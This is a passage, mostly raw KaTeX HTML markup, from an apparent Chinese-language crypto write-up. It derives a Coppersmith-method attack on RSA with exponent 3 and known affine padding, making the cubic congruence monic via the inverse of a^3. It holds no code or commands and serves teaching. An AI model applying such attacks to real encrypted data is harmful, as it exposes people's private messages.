mtight">9</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.73333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.1141079999999999em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mord mtight">1</span><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:2.260438em;vertical-align:-0.7693300000000001em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.491108em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.740108em;"><span style="top:-2.9890000000000003em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord">1</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mopen">(</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mord mtight">1</span><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693300000000001em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>为了方便起见，记 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mo>=</mo><mo stretchy="false">(</mo><msup><mn>2</mn><mn>8</mn></msup><msup><mo stretchy="false">)</mo><mn>210</mn></msup></mrow><annotation encoding="application/x-tex">a=(2^8)^{210}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.064108em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mord mtight">1</span><span class="mord mtight">0</span></span></span></span></span></span></span></span></span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>b</mi><mo>=</mo><mfrac><mrow><mo stretchy="false">(</mo><msup><mn>2</mn><mn>8</mn></msup><msup><mo stretchy="false">)</mo><mn>210</mn></msup><mo>−</mo><mn>1</mn></mrow><mrow><msup><mn>2</mn><mn>8</mn></msup><mo>−</mo><mn>1</mn></mrow></mfrac></mrow><annotation encoding="application/x-tex">b=\frac{(2^8)^{210}-1}{2^8-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.512251em;vertical-align:-0.403331em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.10892em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7463142857142857em;"><span style="top:-2.786em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.485em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mopen mtight">(</span><span class="mord mtight"><span class="mord mtight">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913142857142857em;"><span style="top:-2.931em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span><span class="mclose mtight"><span class="mclose mtight">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913142857142857em;"><span style="top:-2.931em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mord mtight">1</span><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.403331em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>，则有：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>m</mi><mo>=</mo><mi>p</mi><mi>a</mi><mi>d</mi><mo stretchy="false">(</mo><msub><mi>m</mi><mn>0</mn></msub><mo stretchy="false">)</mo><mo>=</mo><mi>a</mi><msub><mi>m</mi><mn>0</mn></msub><mo>+</mo><mi>b</mi></mrow><annotation encoding="application/x-tex">m=pad(m_0)=am_0+b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mord mathnormal">a</span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.73333em;vertical-align:-0.15em;"></span><span class="mord mathnormal">a</span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal">b</span></span></span></span></span></p><p>于是根据 RSA 的加密关系，有：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>c</mi><mo>≡</mo><msup><mi>m</mi><mn>3</mn></msup><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mi>N</mi></mrow><annotation encoding="application/x-tex">c\equiv m^3 \bmod N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.46375em;vertical-align:0em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8641079999999999em;vertical-align:0em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.05555555555555555em;"></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">m</span><span class="mord mathrm">o</span><span class="mord mathrm">d</span></span></span><span class="mspace" style="margin-right:0.05555555555555555em;"></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span></span></span></span></span></p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>c</mi><mo>≡</mo><mo stretchy="false">(</mo><mi>a</mi><msub><mi>m</mi><mn>0</mn></msub><mo>+</mo><mi>b</mi><msup><mo stretchy="false">)</mo><mn>3</mn></msup><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mi>N</mi></mrow><annotation encoding="application/x-tex">c\equiv (am_0+b)^3 \bmod N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.46375em;vertical-align:0em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.1141079999999999em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.05555555555555555em;"></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">m</span><span class="mord mathrm">o</span><span class="mord mathrm">d</span></span></span><span class="mspace" style="margin-right:0.05555555555555555em;"></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span></span></span></span></span></p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>a</mi><mn>3</mn></msup><msubsup><mi>m</mi><mn>0</mn><mn>3</mn></msubsup><mo>+</mo><mn>3</mn><msup><mi>a</mi><mn>2</mn></msup><mi>b</mi><msubsup><mi>m</mi><mn>0</mn><mn>2</mn></msubsup><mo>+</mo><mn>3</mn><mi>a</mi><msup><mi>b</mi><mn>2</mn></msup><msub><mi>m</mi><mn>0</mn></msub><mo>+</mo><msup><mi>b</mi><mn>3</mn></msup><mo>−</mo><mi>c</mi><mo>≡</mo><mn>0</mn><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mi>N</mi></mrow><annotation encoding="application/x-tex">a^3m_0^3+3a^2bm_0^2+3ab^2m_0+b^3-c\equiv 0 \bmod N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1111079999999998em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.1111079999999998em;vertical-align:-0.247em;"></span><span class="mord">3</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord mathnormal">b</span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.0141079999999998em;vertical-align:-0.15em;"></span><span class="mord">3</span><span class="mord mathnormal">a</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.9474379999999999em;vertical-align:-0.08333em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.46375em;vertical-align:0em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.05555555555555555em;"></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">m</span><span class="mord mathrm">o</span><span class="mord mathrm">d</span></span></span><span class="mspace" style="margin-right:0.05555555555555555em;"></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span></span></span></span></span></p><p>到这里似乎不太好做了，我们得到的是一个三次多项式的同余方程，至少我解不出来，丢给 Mathematica 也解不出。于是以 modular polynomial equation 作为关键词检索了一下，还真发现个 Coppersmith method 似乎能解决这种方程。看了眼<a href="https://en.wikipedia.org/wiki/Coppersmith_method">维基百科上的解释</a>，发现这个算法已经在 SageMath 里实现好了，兴冲冲地拿去用，结果报错了。原来 Coppersmith method 要求这个多项式必须是首一多项式，而我们这个多项式最高次项前面有系数，那咋办？</p><p>幸好 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mn>3</mn></msup></mrow><annotation encoding="application/x-tex">a^3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141079999999999em;vertical-align:0em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span></span></span></span> 的逆元存在（记为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mi>n</mi><mi>v</mi><mo stretchy="false">(</mo><msup><mi>a</mi><mn>3</mn></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">inv(a^3)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.064108em;vertical-align:-0.25em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>），对方程两边同时乘以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mi>n</mi><mi>v</mi><mo stretchy="false">(</mo><msup><mi>a</mi><mn>3</mn></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">inv(a^3)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.064108em;vertical-align:-0.25em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>，得到：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msubsup><mi>m</mi><mn>0</mn><mn>3</mn></msubsup><mo>+</mo><mn>3</mn><msup><mi>a</mi><mn>2</mn></msup><mi>b</mi><mi>i</mi><mi>n</mi><mi>v</mi><mo stretchy="false">(</mo><msup><mi>a</mi><mn>3</mn></msup><mo stretchy="false">)</mo><msubsup><mi>m</mi><mn>0</mn><mn>2</mn></msubsup><mo>+</mo><mn>3</mn><mi>a</mi><msup><mi>b</mi><mn>2</mn></msup><mi>i</mi><mi>n</mi><mi>v</mi><mo stretchy="false">(</mo><msup><mi>a</mi><mn>3</mn></msup><mo stretchy="false">)</mo><msub><mi>m</mi><mn>0</mn></msub><mo>+</mo><mo stretchy="false">(</mo><msup><mi>b</mi><mn>3</mn></msup><mo>−</mo><mi>c</mi><mo stretchy="false">)</mo><mi>i</mi><mi>n</mi><mi>v</mi><mo stretchy="false">(</mo><msup><mi>a</mi><mn>3</mn></msup><mo stretchy="false">)</mo><mo>≡</mo><mn>0</mn><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mi>N</mi></mrow><annotation encoding="application/x-tex">m_0^3+3a^2binv(a^3)m_0^2+3ab^2inv(a^3)m_0+(b^3-c)inv(a^3)\equiv 0 \bmod N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1111079999999998em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.1141079999999999em;vertical-align:-0.25em;"></span><span class="mord">3</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord mathnormal">b</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.1141079999999999em;vertical-align:-0.25em;"></span><span class="mord">3</span><span class="mord mathnormal">a</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.1141079999999999em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">b</span><span 